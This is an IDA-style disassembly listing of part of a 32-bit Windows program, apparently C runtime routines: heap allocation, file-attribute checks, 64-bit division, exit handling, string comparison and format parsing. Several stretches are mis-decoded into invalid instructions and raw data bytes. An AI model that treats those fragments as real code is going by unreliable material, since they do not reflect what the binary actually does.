		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_460EA0
		call	ds:dword_41C134	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41247B
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_412444
		mov	eax, esi


loc_412444:				; CODE XREF: sub_41237F+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_4105F0
		push	ebx
		push	ebp
		call	sub_41357B
		add	esp, 14h
		jmp	short loc_412477
; ---------------------------------------------------------------------------


loc_412458:				; CODE XREF: sub_41237F+47j
		test	esi, esi
		jnz	short loc_41245F
		push	1
		pop	esi


loc_41245F:				; CODE XREF: sub_41237F+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	ds:dword_460EA0
		call	ds:dword_41C148	; RtlReAllocateHeap
		mov	edi, eax


loc_412477:				; CODE XREF: sub_41237F+D7j
		test	edi, edi
		jnz	short loc_412498


loc_41247B:				; CODE XREF: sub_41237F+36j
					; sub_41237F+B9j
		cmp	ds:dword_45F89C, 0
		jz	short loc_412498
		push	esi
		call	sub_4134BB
		test	eax, eax
		pop	ecx
		jnz	loc_4123B0
		jmp	loc_4123A9
; ---------------------------------------------------------------------------


loc_412498:				; CODE XREF: sub_41237F+93j
					; sub_41237F+FAj ...
		mov	eax, edi


loc_41249A:				; CODE XREF: sub_41237F+16j
					; sub_41237F+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41237F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41249F	proc near		; CODE XREF: sub_408661+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_41C07C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4124BF
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		call	sub_41724D
		pop	ecx


loc_4124BB:				; CODE XREF: sub_41249F+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4124BF:				; CODE XREF: sub_41249F+Dj
		test	al, 1
		jz	short loc_4124E0
		test	[esp+arg_4], 2
		jz	short loc_4124E0
		mov	ds:dword_45F844, 0Dh
		mov	ds:dword_45F848, 5
		jmp	short loc_4124BB
; ---------------------------------------------------------------------------


loc_4124E0:				; CODE XREF: sub_41249F+22j
					; sub_41249F+29j
		xor	eax, eax
		retn
sub_41249F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4124F0	proc near		; CODE XREF: sub_40878B+5Fp
					; sub_40878B+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_412511
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_412511:				; CODE XREF: sub_4124F0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41252D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41252D:				; CODE XREF: sub_4124F0+27j
		or	eax, eax
		jnz	short loc_412549
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41258A
; ---------------------------------------------------------------------------


loc_412549:				; CODE XREF: sub_4124F0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_412557:				; CODE XREF: sub_4124F0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_412557
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_412585
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_412585
		jb	short loc_412586
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_412586


loc_412585:				; CODE XREF: sub_4124F0+85j
					; sub_4124F0+8Bj
		dec	esi


loc_412586:				; CODE XREF: sub_4124F0+8Dj
					; sub_4124F0+93j
		xor	edx, edx
		mov	eax, esi


loc_41258A:				; CODE XREF: sub_4124F0+57j
		dec	edi
		jnz	short loc_412594
		neg	edx
		neg	eax
		sbb	edx, 0


loc_412594:				; CODE XREF: sub_4124F0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_4124F0	endp

; ---------------------------------------------------------------------------
		db 0A1h	; ¡
		db  5Ch	; \
		db 0E1h	; á
		db  42h	; B
		db    0
		db  85h	; …
		db 0C0h	; À
		db  74h	; t
		db    2
		db 0FFh
		db 0D0h	; Ð
		db  68h	; h
		db  24h	; $
		db 0E0h	; à
		db  41h	; A
		db    0
		db  68h	; h
		db  10h
		db 0E0h	; à
		db  41h	; A
		db    0
		db 0E8h	; è
		db 0CEh	; Î
		db    0
		db    0
		db    0
		db  68h	; h
		db  0Ch
		db 0E0h	; à
		db  41h	; A
		db    0
		db  68h	; h
		db    0
		db 0E0h	; à
		db  41h	; A
		db    0
		db 0E8h	; è
		db 0BFh	; ¿
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_4125E9
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4125D8	proc near		; CODE XREF: sub_412ADE+1Cp
					; sub_4155EC+33F6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_4125E9
		add	esp, 0Ch
		retn
sub_4125D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125E9	proc near		; CODE XREF: seg000:004125CFp
					; sub_4125D8+8p

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_45F88C, edi
		jnz	short near ptr loc_412605+1
		push	[esp+4+arg_0]
		call	near ptr 3D0000h
		jno	short near ptr loc_41264E+2
		call	near ptr 3D0000h


loc_412605:				; CODE XREF: sub_4125E9+Aj
		rol	dword ptr [ebx+0C247Ch], 1
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	ds:dword_45F888, edi
		mov	ds:byte_45F884,	bl
		jnz	short loc_41265A
		mov	eax, ds:dword_460EB4
		test	eax, eax
		jz	short loc_412649
		mov	ecx, ds:dword_460EB0
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_412648


loc_412635:				; CODE XREF: sub_4125E9+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41263D
		call	eax


loc_41263D:				; CODE XREF: sub_4125E9+50j
		sub	esi, 4
		cmp	esi, ds:dword_460EB4
		jnb	short loc_412635


loc_412648:				; CODE XREF: sub_4125E9+4Aj
		pop	esi


loc_412649:				; CODE XREF: sub_4125E9+3Cj
		push	offset dword_41E030


loc_41264E:				; CODE XREF: sub_4125E9+15j
		push	offset dword_41E028
		call	sub_412682
		pop	ecx
		pop	ecx


loc_41265A:				; CODE XREF: sub_4125E9+33j
		push	offset dword_41E03C
		push	offset dword_41E034
		call	sub_412682
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_412680
		push	[esp+4+arg_0]
		mov	ds:dword_45F88C, edi
		call	ds:dword_41C0F8	; ExitProcess


loc_412680:				; CODE XREF: sub_4125E9+85j
		pop	edi
		retn
sub_4125E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_412682	proc near		; CODE XREF: sub_4125E9+6Ap
					; sub_4125E9+7Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_412687:				; CODE XREF: sub_412682+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41269A
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_412695
		call	eax


loc_412695:				; CODE XREF: sub_412682+Fj
		add	esi, 4
		jmp	short loc_412687
; ---------------------------------------------------------------------------


loc_41269A:				; CODE XREF: sub_412682+9j
		pop	esi
		retn
sub_412682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41269C	proc near		; CODE XREF: seg000:0040CEC6p
					; seg000:0040CEF5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_4126B0
		xor	eax, eax
		jmp	short loc_4126E6
; ---------------------------------------------------------------------------


loc_4126B0:				; CODE XREF: sub_41269C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_4126E0
		mov	esi, [ebp+arg_8]


loc_4126B9:				; CODE XREF: sub_41269C+42j
		dec	dword ptr [esi+4]
		js	short loc_4126C8
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_4126CF
; ---------------------------------------------------------------------------


loc_4126C8:				; CODE XREF: sub_41269C+20j
		push	esi
		call	sub_4164EB
		pop	ecx


loc_4126CF:				; CODE XREF: sub_41269C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4126EA
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_4126E0
		dec	[ebp+arg_4]
		jnz	short loc_4126B9


loc_4126E0:				; CODE XREF: sub_41269C+18j
					; sub_41269C+3Dj ...
		and	byte ptr [edi],	0


loc_4126E3:				; CODE XREF: sub_41269C+55j
		mov	eax, ebx
		pop	esi


loc_4126E6:				; CODE XREF: sub_41269C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4126EA:				; CODE XREF: sub_41269C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_4126E0
		xor	ebx, ebx
		jmp	short loc_4126E3
sub_41269C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126F3	proc near		; CODE XREF: seg000:0040B597p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 3D0000h
		enter	0FFFFC085h, 75h
		or	bh, bh
		adc	eax, offset dword_41C068
		jmp	short loc_41270B
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41270B:				; CODE XREF: sub_4126F3+14j
		test	eax, eax
		jz	short loc_41271A
		push	eax
		call	sub_41724D
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41271A:				; CODE XREF: sub_4126F3+1Aj
		xor	eax, eax
		retn
sub_4126F3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41271D	proc near		; CODE XREF: seg000:0040B4EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4172B4
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412C3C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_417341
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41271D	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_412760


loc_412750:				; CODE XREF: sub_412760+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_412760
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412760	proc near		; CODE XREF: seg000:0040979Fp
					; seg000:00409846p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00412750 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_412766:				; CODE XREF: sub_410AE0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41278B


loc_412778:				; CODE XREF: sub_412760+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_412750
		test	cl, cl
		jz	short loc_4127D4
		test	edx, 3
		jnz	short loc_412778


loc_41278B:				; CODE XREF: sub_412760+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_412796:				; CODE XREF: sub_412760+61j
					; sub_412760+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4127D8
		and	eax, 81010100h
		jz	short loc_412796
		and	eax, 1010100h
		jnz	short loc_4127D2
		and	esi, 80000000h
		jnz	short loc_412796


loc_4127D2:				; CODE XREF: sub_412760+68j
					; sub_412760+81j ...
		pop	esi
		pop	edi


loc_4127D4:				; CODE XREF: sub_412760+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4127D8:				; CODE XREF: sub_412760+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_412815
		test	al, al
		jz	short loc_4127D2
		cmp	ah, bl
		jz	short loc_41280E
		test	ah, ah
		jz	short loc_4127D2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_412807
		test	al, al
		jz	short loc_4127D2
		cmp	ah, bl
		jz	short loc_412800
		test	ah, ah
		jz	short loc_4127D2
		jmp	short loc_412796
; ---------------------------------------------------------------------------


loc_412800:				; CODE XREF: sub_412760+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_412807:				; CODE XREF: sub_412760+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41280E:				; CODE XREF: sub_412760+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_412815:				; CODE XREF: sub_412760+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_412760	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41286C
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41286D
		test	eax, 1
		jz	short loc_41284D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41289A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41286A


loc_41284D:				; CODE XREF: seg000:00412840j
					; seg000:00412868j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41289A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41289A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41284D


loc_41286A:				; CODE XREF: seg000:0041284Bj
					; seg000:004128A4j
		pop	edi
		pop	esi

locret_41286C:				; CODE XREF: seg000:00412826j
		retn
; ---------------------------------------------------------------------------


loc_41286D:				; CODE XREF: seg000:00412839j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_4128A2
		repe cmpsd
		jz	short loc_4128A2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_412895
		cmp	ch, dh
		jnz	short loc_412895
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_412895
		cmp	ch, dh


loc_412895:				; CODE XREF: seg000:00412883j
					; seg000:00412887j ...
		mov	eax, 0


loc_41289A:				; CODE XREF: seg000:00412846j
					; seg000:00412853j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4128A2:				; CODE XREF: seg000:00412875j
					; seg000:00412879j
		test	eax, eax
		jz	short loc_41286A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_412895
		dec	eax
		jz	short loc_4128C9
		cmp	dh, ch
		jnz	short loc_412895
		dec	eax
		jz	short loc_4128C9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_412895
		dec	eax


loc_4128C9:				; CODE XREF: seg000:004128AFj
					; seg000:004128B6j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4128CC	proc near		; CODE XREF: sub_40F2C4+55p
					; sub_40FC75+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4128E3


loc_4128D9:				; CODE XREF: sub_4128CC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4128D9


loc_4128E3:				; CODE XREF: sub_4128CC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4128CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4128E9	proc near		; CODE XREF: sub_40F2C4+19p
					; sub_40F2C4+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_4129B6
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_4129E3
		cmp	ds:dword_45F8D0, esi
		jnz	short loc_41293A
		cmp	edi, esi
		jbe	loc_4129E3


loc_412919:				; CODE XREF: sub_4128E9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_4129E3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_412919
		jmp	loc_4129E3
; ---------------------------------------------------------------------------


loc_41293A:				; CODE XREF: sub_4128E9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_41C120
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_45F8E0
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_4129E2
		call	ds:dword_41C068	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_412974


loc_412965:				; CODE XREF: sub_4128E9+CBj
					; sub_4128E9+F7j
		mov	ds:dword_45F844, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4129E3
; ---------------------------------------------------------------------------


loc_412974:				; CODE XREF: sub_4128E9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41297C:				; CODE XREF: sub_4128E9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41299E
		mov	edx, ds:off_42E190
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_412993
		inc	eax


loc_412993:				; CODE XREF: sub_4128E9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41297C


loc_41299E:				; CODE XREF: sub_4128E9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_45F8E0
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_4129E3
		jmp	short loc_412965
; ---------------------------------------------------------------------------


loc_4129B6:				; CODE XREF: sub_4128E9+Fj
		cmp	ds:dword_45F8D0, esi
		jnz	short loc_4129C9
		push	[ebp+arg_4]
		call	sub_410B60
		pop	ecx
		jmp	short loc_4129E3
; ---------------------------------------------------------------------------


loc_4129C9:				; CODE XREF: sub_4128E9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_45F8E0
		call	ds:dword_41C120	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_412965


loc_4129E2:				; CODE XREF: sub_4128E9+6Bj
		dec	eax


loc_4129E3:				; CODE XREF: sub_4128E9+1Aj
					; sub_4128E9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4128E9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C658
		push	offset sub_417B48
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_41C154	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_45F85C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_45F858, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_45F854, ecx
		shr	eax, 10h
		mov	ds:dword_45F850, eax
		xor	esi, esi
		push	esi
		call	sub_4134D6
		pop	ecx
		test	eax, eax
		jnz	short loc_412A54
		push	1Ch
		call	sub_412B03
		pop	ecx


loc_412A54:				; CODE XREF: seg000:00412A4Aj
		mov	[ebp-4], esi
		call	loc_417992
		call	near ptr 0C60004h
		and	ds:dword_460EA4[ebx], 0FFFFFFE8h
		hlt
; ---------------------------------------------------------------------------
		db 4Dh,	2 dup(0)
		dd 45F890A3h, 4B9DE800h, 0DFE80000h, 0E800004Ah, 0FFFFFB1Ah
		dd 8DD07589h, 0E850A445h, 90D578h, 4A70E859h, 45890000h
		dd 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h, 9C75FF50h
		dd 55E85656h, 2A0092D5h, 602FE850h, 4589FFFFh, 8E850A0h
		dd 8BFFFFFBh, 88BEC45h,	4D89098Bh, 0E8515098h, 48AEh, 8BC35959h
		dd 75FFE865h, 0FAFAE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_412ADE	proc near		; CODE XREF: sub_411692+16p
					; seg000:004175A8p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_45F898, 1
		jnz	short loc_412AEC
		call	sub_417C20


loc_412AEC:				; CODE XREF: sub_412ADE+7j
		push	[esp+arg_0]
		call	near ptr sub_417C59
		push	0FFh
		call	ds:off_42E180
		pop	ecx
		pop	ecx
		retn
sub_412ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B03	proc near		; CODE XREF: seg000:00412A4Ep

arg_0		= dword	ptr  4

		cmp	ds:dword_45F898, 1
		jnz	short loc_412B11
		call	sub_417C20


loc_412B11:				; CODE XREF: sub_412B03+7j
		push	[esp+arg_0]
		call	near ptr sub_417C59
		pop	ecx
		push	0FFh
		call	ds:dword_41C0F8	; ExitProcess
		retn
sub_412B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B27	proc near		; CODE XREF: sub_41050B+46p
					; sub_410A8A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_412C30
		test	al, 40h
		jnz	loc_412C30
		test	al, 1
		jz	short loc_412B5F
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_412C30
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_412B5F:				; CODE XREF: sub_412B27+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_412B99
		cmp	esi, offset dword_42E8A8
		jz	short loc_412B87
		cmp	esi, offset dword_42E8C8
		jnz	short loc_412B92


loc_412B87:				; CODE XREF: sub_412B27+56j
		push	ebx
		call	sub_417F9D
		test	eax, eax
		pop	ecx
		jnz	short loc_412B99


loc_412B92:				; CODE XREF: sub_412B27+5Ej
		push	esi
		call	sub_417F59
		pop	ecx


loc_412B99:				; CODE XREF: sub_412B27+4Ej
					; sub_412B27+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_412C06
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_412BC9
		push	edi
		push	eax
		push	ebx
		call	sub_417DAC
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_412BFC
; ---------------------------------------------------------------------------


loc_412BC9:				; CODE XREF: sub_412B27+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_412BE4
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_460B60[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_412BE9
; ---------------------------------------------------------------------------


loc_412BE4:				; CODE XREF: sub_412B27+A5j
		mov	eax, offset dword_42E7F0


loc_412BE9:				; CODE XREF: sub_412B27+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_412BFC
		push	2
		push	0
		push	ebx
		call	sub_4169A2
		add	esp, 0Ch


loc_412BFC:				; CODE XREF: sub_412B27+A0j
					; sub_412B27+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_412C1A
; ---------------------------------------------------------------------------


loc_412C06:				; CODE XREF: sub_412B27+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_417DAC
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_412C1A:				; CODE XREF: sub_412B27+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_412C26
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_412C35
; ---------------------------------------------------------------------------


loc_412C26:				; CODE XREF: sub_412B27+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_412C38
; ---------------------------------------------------------------------------


loc_412C30:				; CODE XREF: sub_412B27+10j
					; sub_412B27+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_412C35:				; CODE XREF: sub_412B27+FDj
		or	eax, 0FFFFFFFFh


loc_412C38:				; CODE XREF: sub_412B27+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_412B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412C3C	proc near		; CODE XREF: sub_41050B+29p
					; sub_410A8A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_413355
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_412C70
; ---------------------------------------------------------------------------


loc_412C68:				; CODE XREF: sub_412C3C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_412C70:				; CODE XREF: sub_412C3C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_413355
		cmp	bl, 20h
		jl	short loc_412C91
		cmp	bl, 78h
		jg	short loc_412C91
		movsx	eax, bl
		mov	al, ds:byte_41C644[eax]
		and	eax, 0Fh
		jmp	short loc_412C93
; ---------------------------------------------------------------------------


loc_412C91:				; CODE XREF: sub_412C3C+40j
					; sub_412C3C+45j
		xor	eax, eax


loc_412C93:				; CODE XREF: sub_412C3C+53j
		movsx	eax, ds:byte_41C664[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_413344	; default
		jmp	ds:off_41335D[eax*4] ; switch jump


